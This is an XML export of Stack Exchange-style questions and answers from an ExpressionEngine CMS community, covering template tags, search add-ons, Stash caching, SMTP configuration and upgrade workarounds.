  <row Id="27082" PostTypeId="2" ParentId="27080" CreationDate="2014-12-10T02:26:17.717" Score="0" Body="&lt;p&gt;If you are generating different sizes of your images you need to use the following tag to output them on the fronted in a channel entries tag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{image_field:size_short_name}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So in your example this should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{m_topic_img:small}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3858" LastActivityDate="2014-12-10T02:26:17.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27083" PostTypeId="1" AcceptedAnswerId="27085" CreationDate="2014-12-10T05:30:19.620" Score="0" ViewCount="43" Body="&lt;p&gt;I am trying to do the following - essentially redirect to the correct page if search query only returns a single result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if total_results == &quot;1&quot;}{redirect=&quot;{comment_url_title_auto_path}&quot;}{/if}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is working, however, it's also appending the domain to the URL, so the resulting redirect is&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://domain.com/http://domain.com/template/view/url-title/&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/http://domain.com/template/view/url-title/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible at all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Christiaan&lt;/p&gt;&#xA;" OwnerUserId="739" LastActivityDate="2014-12-10T08:34:29.193" Title="Low Search: Redirect if single result" Tags="|ee2|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27084" PostTypeId="1" AcceptedAnswerId="30188" CreationDate="2014-12-10T07:27:31.950" Score="0" ViewCount="69" Body="&lt;p&gt;I'm integration Membrr for non-profit organisation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They want to let people purchase membership and make donation at same time (ex. the user can only purchase membership for $100, or membership ($100) plus donation ($50 or other amount)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically this is &quot;pay as much as you want&quot; model, but with minumum set and recurrent billing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way in Membrr to add amount to subscription cost?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I could use EE Donations module separately, but perhaps there is way to let users pay all they want in one step?&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-02-23T15:00:23.880" Title="Membrr: accept donations on top of subscription cost" Tags="|subscriptions|membrr|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27085" PostTypeId="2" ParentId="27083" CreationDate="2014-12-10T08:34:29.193" Score="0" Body="&lt;p&gt;That approach should work just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;{comment_url_title_auto_path}&lt;/code&gt; variable is parsed by native EE code. So if that results in an unexpected url, you might want to check the value of that setting in the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/admin/channels/channel_edit_preferences.html#comment-page-url&quot; rel=&quot;nofollow&quot;&gt;Channel Preferences&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-12-10T08:34:29.193" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27086" PostTypeId="1" AcceptedAnswerId="27087" CreationDate="2014-12-10T09:52:53.240" Score="0" ViewCount="85" Body="&lt;p&gt;I'm having a bit of trouble with getting Stash to change a variable. I'm using it to output a heading in search results when it's not the same as the last result. Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Set the sorthead variable to something random --}&#xA;{exp:stash:set name=&quot;sorthead&quot;}flibberdigibbet{/exp:stash:set}&#xA;&#xA;{exp:low_search:results&#xA;    channel=&quot;magazine-articles&quot;&#xA;    status=&quot;not closed&quot;&#xA;    limit=&quot;10&quot;&#xA;    paginate=&quot;both&quot;&#xA;    disable=&quot;member_data|category_fields&quot;&#xA;    category=&quot;1&quot;&#xA;    orderby=&quot;articles-sorthead&quot;&#xA;    sort=&quot;asc&quot;&#xA; }&#xA;&#xA;      {!-- check the variable before setting --}&#xA;      before: {exp:stash:get name='sorthead'}&#xA;&#xA;      {!-- output heading if it's not  the same as the last one --}&#xA;      {if &quot;{exp:stash:get name='sorthead'}&quot; != &quot;{articles-sorthead}&quot;}&#xA;          &amp;lt;h2&amp;gt;{articles-sorthead}&amp;lt;/h2&amp;gt;&#xA;      {/if}&#xA;&#xA;      {!-- set the variable so that next time we can check again&#xA;           THIS IS NOT HAPPENING FOR SOME REASON --}&#xA;      {exp:stash:set name=&quot;sorthead&quot;}{articles-sorthead}{/exp:stash:set}&#xA;&#xA;      {!-- check it has worked --}&#xA;      after: {exp:stash:get name='sorthead'}&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I don't really know what is going on, but both before and after output as 'flibberdigibbet' and the setting never seems to happen the second time. unless the first set is happening on every loop of the low search tag - but I don't think it should be!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope you can help!&lt;/p&gt;&#xA;" OwnerUserId="1870" LastActivityDate="2014-12-10T12:09:31.767" Title="Stash not overwriting variable - variable stays same after 2nd setting" Tags="|ee2|stash|low-search|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27087" PostTypeId="2" ParentId="27086" CreationDate="2014-12-10T11:37:13.223" Score="4" Body="&lt;p&gt;You use plugin with the same parameters. So EE cached it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to add &lt;strong&gt;random&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;sorthead&quot; random} {/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or change name.&lt;/p&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2014-12-10T12:09:31.767" LastActivityDate="2014-12-10T12:09:31.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27088" PostTypeId="1" CreationDate="2014-12-10T12:44:01.293" Score="0" ViewCount="18" Body="&lt;p&gt;i just had fresh installation EE 2.4&#xA;and i worked with this copy on other hosting and its working charm&#xA;now when i go to Template Manager&#xA;trying to update Template in Template group &#xA;it redirect me to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mydomain.com/admin.php?S=aa84c50e6774e629815f32e012534c99c1b24f6c&amp;amp;D=cp&amp;amp;C=design&amp;amp;M=update_template&amp;amp;tgpref=1&quot; rel=&quot;nofollow&quot;&gt;http://mydomain.com/admin.php?S=aa84c50e6774e629815f32e012534c99c1b24f6c&amp;amp;D=cp&amp;amp;C=design&amp;amp;M=update_template&amp;amp;tgpref=1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and no changes save &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and when i remove wrapping html  tag&#xA;it work and save &lt;/p&gt;&#xA;&#xA;&lt;p&gt;any idea ??&lt;/p&gt;&#xA;" OwnerUserId="2143" LastActivityDate="2014-12-10T12:44:01.293" Title="weird behaviour when saving template" Tags="|templates|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27089" PostTypeId="2" ParentId="24692" CreationDate="2014-12-10T13:26:50.227" Score="0" Body="&lt;p&gt;We have had the same problem on two sites. Updating Assets to 2.5 seems to solve the problem for us on both installations (so I guess this was a bug that's been fixed).&lt;/p&gt;&#xA;" OwnerUserId="122" LastActivityDate="2014-12-10T13:26:50.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27090" PostTypeId="1" CreationDate="2014-12-10T14:06:38.660" Score="0" ViewCount="132" Body="&lt;p&gt;i have been pulling my hair out trying to understand this so any help is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a channel 'Content' which is just the 'pages' of the site. My template groups are setup using only the 'index' template: template_group/template&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg,&#xA;&lt;br&gt;&#xA;coaching/index&lt;br&gt;&#xA;management/index&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And my navigation (done using Navee): template_group/entry1 (from 'Content' channel)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;coaching/schools&lt;br&gt;&#xA;coaching/instructors&lt;br&gt;&#xA;management/forms&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All straight forward. Now i have a simple search form which i want people to be able to search the entries on the site (from the 'Content' channel) but i need to know how to produce the correct search results page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In channel preferences &gt; path settings &gt; channel URL ...&#xA;..my 'Content' channel does not have a specific url - since it is different depending on the template group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg, If i enter and save &lt;a href=&quot;http://www.example.com/coaching/&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/coaching/&lt;/a&gt; into the field, then do a search for 'schools', the results display &lt;a href=&quot;http://www.example.com/coaching/schools&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/coaching/schools&lt;/a&gt;    which is correct. But if i search 'forms' the results brings up &lt;a href=&quot;http://www.example.com/coaching/forms&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/coaching/forms&lt;/a&gt; instead of &lt;a href=&quot;http://www.example.com/management/forms&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/management/forms&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So since the 'Content' channel does not have a specific 'Channel URL', how do i get search results to product the link to the correct page/entry??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;&lt;br&gt;&#xA;&lt;br&gt;&#xA;UPDATE. My Solution.&lt;br&gt;&#xA;I created categories for each of the six template groups, then assigned each page/entry to a category. I then used the below conditionals to produce the correct search results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if category_url_title == &quot;ONE&quot;}&#xA;&amp;lt;h3&amp;gt;&amp;lt;a href=&quot;/ONE/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;{/if}&#xA;&#xA;{if category_url_title == &quot;TWO&quot;}&#xA;&amp;lt;h3&amp;gt;&amp;lt;a href=&quot;/TWO/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;{/if}&#xA;&#xA;{if category_url_title == &quot;THREE&quot;}&#xA;&amp;lt;h3&amp;gt;&amp;lt;a href=&quot;/THREE/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;etc, etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ps. Using the above with {excerpt} just duplicated the excerpt from the first result, to each other result. So instead of excerpt i used a custom field (meta description text field).&lt;/p&gt;&#xA;" OwnerUserId="2794" LastEditorUserId="2794" LastEditDate="2015-03-17T12:59:39.770" LastActivityDate="2015-03-17T12:59:39.770" Title="Displaying search results if more than one template group" Tags="|templates|search|url|navee|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27091" PostTypeId="2" ParentId="26188" CreationDate="2014-12-10T14:23:12.990" Score="1" Body="&lt;p&gt;I fixed this in my situation by swapping the combined field &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field:shipping_name} {error:shipping_name}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for the separate first name and surname fields&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field:shipping_first_name} {error:shipping_first_name}&#xA;{field:shipping_last_name} {error:shipping_last_name}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;though this is a workaround, not a fix.&lt;/p&gt;&#xA;" OwnerUserId="785" LastActivityDate="2014-12-10T14:23:12.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27092" PostTypeId="1" CreationDate="2014-12-10T14:33:18.773" Score="0" ViewCount="36" Body="&lt;p&gt;I'm trying to sort the Solspace calendar by category. The categories are set up and I have a dropdown in the monthly calendar. Each category will display a category # in the class file for example category7. I just can't get the dropdown to sort the categories once selected. &lt;/p&gt;&#xA;&#xA;&#xA;                &#xA;                    --Filter by Category--&#xA;                    {exp:channel:categories channel=&quot;calendar_categories&quot;}&#xA;                        {category_name}&#xA;                    {/exp:channel:categories}&#xA;                &lt;p&gt;&lt;/p&gt; &#xA;" OwnerUserId="3427" LastActivityDate="2016-05-16T23:38:41.380" Title="EE Calendar Sorting Function by category" Tags="|calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27093" PostTypeId="2" ParentId="27092" CreationDate="2014-12-10T15:02:49.783" Score="0" Body="&lt;p&gt;I've done this by adding the category as a css class to the events. Then you can use your dropdown menu to filter with js/jquery.&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2014-12-10T15:02:49.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27094" PostTypeId="2" ParentId="27070" CreationDate="2014-12-10T15:04:04.520" Score="1" Body="&lt;p&gt;for whatever reason, i had this line in my config.php file that was the culprit&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['server_offset'] = '-60';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1862" LastActivityDate="2014-12-10T15:04:04.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27095" PostTypeId="2" ParentId="27057" CreationDate="2014-12-10T15:36:24.653" Score="0" Body="&lt;p&gt;It looks like issue is related to EE default settings not Tag addon&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I set the {exp:channel:entries} limit=&quot;&quot; to 1000. When this parameter&#xA;  was not used, which defaults at 100&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That solves the problem.&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-12-10T15:36:24.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27096" PostTypeId="1" CreationDate="2014-12-10T16:02:53.060" Score="0" ViewCount="1392" Body="&lt;p&gt;I'm trying to send email through a Microsoft Exchange SMTP server using the Communicate Tool in EE admin. When I try to send an email, the browser spins for 5-10 seconds and then I get the following error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;An Error Was Encountered&#xA;&#xA;Unable to send email at this time.&#xA;&#xA;220 xxxxxxxxxxxxxxxxxxxx Microsoft ESMTP MAIL Service ready at Wed, 10 Dec 2014 07:52:35 -0600 &#xA;&#xA;hello: &#xA;&#xA;The following SMTP error was encountered: &#xA;Unable to send email using PHP SMTP. Your server might not be configured to send mail using this method.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know my settings in EE's Email Configuration are good. I've tested connecting to the Exchange server and sending email through both telnet and a PHP script and those both worked. And yet, ExpressionEngine won't send mail. What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="3869" LastActivityDate="2014-12-10T16:08:34.640" Title="Unable to send email through Exchange SMTP" Tags="|email|smtp|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27097" PostTypeId="2" ParentId="27096" CreationDate="2014-12-10T16:08:34.640" Score="2" Body="&lt;p&gt;For Exchange, there are a couple of &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/general/system_configuration_overrides.html&quot; rel=&quot;nofollow&quot;&gt;configuration overrides&lt;/a&gt; that you need to set for email to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['email_crlf']    = &quot;\r\n&quot;;&#xA;$config['email_newline'] = &quot;\r\n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add those, restart your server, and you should be good to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: Make sure to use those double quotes around the &lt;code&gt;\r\n&lt;/code&gt; strings.&lt;/p&gt;&#xA;" OwnerUserId="3869" LastActivityDate="2014-12-10T16:08:34.640" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27100" PostTypeId="2" ParentId="27075" CreationDate="2014-12-10T17:58:07.453" Score="0" Body="&lt;p&gt;I never did end up finding out what the issue was, but I suspect something got borked in the DB when moving between environments. I ended up pushing a fresh install into staging and working with backup copy of the DB and all is working as expected again. Strange internet magic.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm posting this as an answer because I'm pretty sure this was caused by user error somewhere along the way vs. being an issue with Assets itself.&lt;/p&gt;&#xA;" OwnerUserId="263" LastActivityDate="2014-12-10T17:58:07.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27101" PostTypeId="1" AcceptedAnswerId="27107" CreationDate="2014-12-10T19:01:31.720" Score="1" ViewCount="92" Body="&lt;p&gt;upgraded from 2.8.1 to 2.9.2 and ElectricPutty's add-on Thumber stopped working.  Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Getting this debugging output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1.414562 / 37.32MB) Calling Class/Method: Thumber/create&#xA;(1.414701 / 37.32MB) -&gt; Class Called: Thumber&#xA;(1.414785 / 37.33MB) -&gt; Method Called: create&#xA;(1.575988 / 37.33MB) &lt;strong&gt;Thumber&lt;/strong&gt; Can't find Ghostscript on your server.&#xA;(1.576109 / 37.33MB) -&gt; Data Returned&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ghostscript has been installed for years.&lt;/p&gt;&#xA;" OwnerUserId="3505" LastEditorUserId="3505" LastEditDate="2014-12-10T20:36:49.930" LastActivityDate="2014-12-10T23:28:56.970" Title="ElectricPutty - Thumber add-on not working with EE 2.9.2" Tags="|2.9|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27102" PostTypeId="1" AcceptedAnswerId="27110" CreationDate="2014-12-10T19:37:56.383" Score="0" ViewCount="28" Body="&lt;p&gt;I'm trying to filter using supersearch and checkboxes. Multiple checked checkboxes should create a get parameter like &amp;amp;myfield=value1&amp;amp;&amp;amp;value2. However, when I submit the form it escapes characters and fails to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the bit of code with the checkboxes. It's a bigger form, but isolating this block won't work either:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;get&quot; action=&quot;/destinations/search&quot;&amp;gt;&#xA;    {exp:super_search:search}&#xA;    &amp;lt;fieldset class=&quot;amenities&quot;&amp;gt;&#xA;        &amp;lt;h3&amp;gt;Filter by feature&amp;lt;/h3&amp;gt;&#xA;        {exp:low_options:amenities}&#xA;        {options}&#xA;        &amp;lt;span&amp;gt;&#xA;            &amp;lt;input type=&quot;checkbox&quot; name=&quot;amenities[]&quot; value=&quot;{option:value}&quot;&amp;gt;&#xA;            &amp;lt;label&amp;gt;{option:label}&amp;lt;/label&amp;gt;&#xA;        &amp;lt;/span&amp;gt;&#xA;        {/options}&#xA;        {/exp:low_options:amenities}&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; class=&quot;update&quot; value=&quot;Update results&quot;&amp;gt;&#xA;    {/exp:super_search:search}&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The resulting url gives something like: &#xA;?amenities%5B%5D=barbecue&amp;amp;amenities%5B%5D=car-essentials&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the example I'm using low_options but I've also tried simply coding the fields.&#xA;Am I missing something obvious? This is the last piece of a big project and has me scratching my head over and over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best,&#xA;Santiago.-&lt;/p&gt;&#xA;" OwnerUserId="1427" LastActivityDate="2014-12-11T02:20:11.320" Title="Supersearch form escapes brackets" Tags="|solspace|supersearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27103" PostTypeId="1" AcceptedAnswerId="27119" CreationDate="2014-12-10T21:33:26.797" Score="0" ViewCount="113" Body="&lt;p&gt;I have a template that is making a request to remote CSS &amp;amp; JS files that are hosted on the same server, different domain:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:minimee:js}&#xA;    &amp;lt;script&amp;gt;https://www.remotesite.tld/assets/js/plugins/cycle.js&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script&amp;gt;https://www.remotesite.tld/assets/js/init/index.js&amp;lt;/script&amp;gt;&#xA;{/exp:minimee:js}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I try to load the page, the browser gets stuck in loading-mode for several minutes before throwing a &quot;page not available&quot; error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I disable Minimee in my config, the page loads without issue:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$env_config['minimee']['disable'] = 'y';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No server errors are logged when this happens.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.9.0&lt;/li&gt;&#xA;&lt;li&gt;Minimee 2.1.12&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5" LastActivityDate="2014-12-12T21:28:08.970" Title="Page Timeout When Minimee is Enabled" Tags="|minimee|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27104" PostTypeId="2" ParentId="27074" CreationDate="2014-12-10T22:22:10.567" Score="1" Body="&lt;p&gt;Something similar - possibly a plugin not responding. Remove third-party plugins in your system folder, try updating again and then return your plugins...you should update fine, and then you'll need the third-party items back in to open the control panel. &lt;/p&gt;&#xA;" OwnerUserId="175" LastActivityDate="2014-12-10T22:22:10.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27105" PostTypeId="2" ParentId="27074" CreationDate="2014-12-10T22:37:19.113" Score="1" Body="&lt;p&gt;Since posting my question, I haven't figured out &lt;em&gt;why&lt;/em&gt; this happened, but I did come up with a workaround for it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Import your upgraded production environment's MySQL database on your local environment*&lt;/li&gt;&#xA;&lt;li&gt;Follow the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/installation/update.html&quot; rel=&quot;nofollow&quot;&gt;update instructions from EllisLab&lt;/a&gt; up to but not including step 6.&lt;/li&gt;&#xA;&lt;li&gt;Change &lt;code&gt;$config['app_version']&lt;/code&gt; in &lt;code&gt;system/expressionengine/config/config.php&lt;/code&gt; to &lt;code&gt;292&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Delete the &lt;code&gt;system/installer&lt;/code&gt; folder&lt;/li&gt;&#xA;&lt;li&gt;Open your ExpressionEngine CP and you should be running 2.9.2 as you hoped and dreamed&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;*If importing a dump of your production DB isn't something you normally do, be aware that the following things will need to be updated after you complete your import:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;DB:&lt;/strong&gt; &lt;code&gt;channel_url&lt;/code&gt; in &lt;code&gt;exp_channels&lt;/code&gt; (for each channel), example query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE `[YOUR DB NAME]`.`exp_channels` SET `channel_url`='[YOUR URL]' WHERE `channel_id`='[YOUR CHANNEL ID]';&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;DB:&lt;/strong&gt; &lt;code&gt;server_path&lt;/code&gt; in &lt;code&gt;exp_upload_prefs&lt;/code&gt; for each upload destination, example query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE `[YOUR DB NAME]`.`exp_upload_prefs` SET `server_path`='[YOUR LOCAL PATH]', `url`='[YOUR LOCAL URL]' WHERE `id`='[YOUR UPLOAD DESTINATION ID]';&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;CP:&lt;/strong&gt; URL to the root directory of your site in &lt;code&gt;Admin &amp;gt; General Config&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;CP:&lt;/strong&gt; Theme Folder Path in &lt;code&gt;Admin &amp;gt; General Config&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;CP:&lt;/strong&gt; Server path to site's templates in &lt;code&gt;Design &amp;gt; Templates &amp;gt; Global Template Preferences&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;CP:&lt;/strong&gt; File path in &lt;code&gt;Add-Ons &amp;gt; Extensions &amp;gt; Low Variables &amp;gt; Extension Settings&lt;/code&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These are the things we have to update in our setup, so your milage may vary. Godspeed.&lt;/p&gt;&#xA;" OwnerUserId="673" LastActivityDate="2014-12-10T22:37:19.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27106" PostTypeId="1" CreationDate="2014-12-10T22:47:15.107" Score="1" ViewCount="23" Body="&lt;p&gt;I'm using Simple Search with the following code. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form channel=&quot;product&quot; search_in=&quot;everywhere&quot; status=&quot;open|sold|On Hold&quot; result_page=&quot;/search&quot; form_class=&quot;form-search pull-right&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works as expected except on an iPhone. On an iphone, if the product being searched has a status of &quot;sold&quot; I get a no results page. This behavior is only on iPhones. Tablets, iPads, laptops and desktops all work for &quot;open&quot;, &quot;sold&quot; and &quot;on hold&quot; products. On an iphone searches work for &quot;open&quot; and &quot;on hold&quot; itemsS&lt;/p&gt;&#xA;" OwnerUserId="1773" LastActivityDate="2014-12-10T22:47:15.107" Title="Search not finding Entries of certain status on an iphone" Tags="|search|mobile|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27107" PostTypeId="2" ParentId="27101" CreationDate="2014-12-10T23:28:56.970" Score="1" Body="&lt;p&gt;This happens using Thumber 1.2. Rolling back to Thumber 1.1 returns normal functionality.&lt;/p&gt;&#xA;" OwnerUserId="673" LastActivityDate="2014-12-10T23:28:56.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27108" PostTypeId="1" CreationDate="2014-12-11T00:56:48.363" Score="0" ViewCount="44" Body="&lt;p&gt;I'm trying to create a front-end channel form using bootstrap and I have a Tag Module field in it. I'd like to make the field responsive so it could be used on a phone. Is there any way to do this?&lt;/p&gt;&#xA;" OwnerUserId="2876" LastActivityDate="2015-04-11T15:09:15.737" Title="Is it possible to have a front end tag entry form that is responsive? How?" Tags="|solspace-tag|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27110" PostTypeId="2" ParentId="27102" CreationDate="2014-12-11T02:20:11.320" Score="2" Body="&lt;p&gt;Super Search works best as a &lt;strong&gt;POST&lt;/strong&gt; form. &lt;strong&gt;GET&lt;/strong&gt; forms are more limited. As mentioned in the docs (&lt;a href=&quot;http://www.solspace.com/docs/super_search/post_get_or_template/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/super_search/post_get_or_template/&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;GET does have it's limitations. As mentioned above, it is impossible to pass search arrays via GET. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Try using &lt;code&gt;method=&quot;post&quot;&lt;/code&gt; instead for your form.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-12-11T02:20:11.320" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
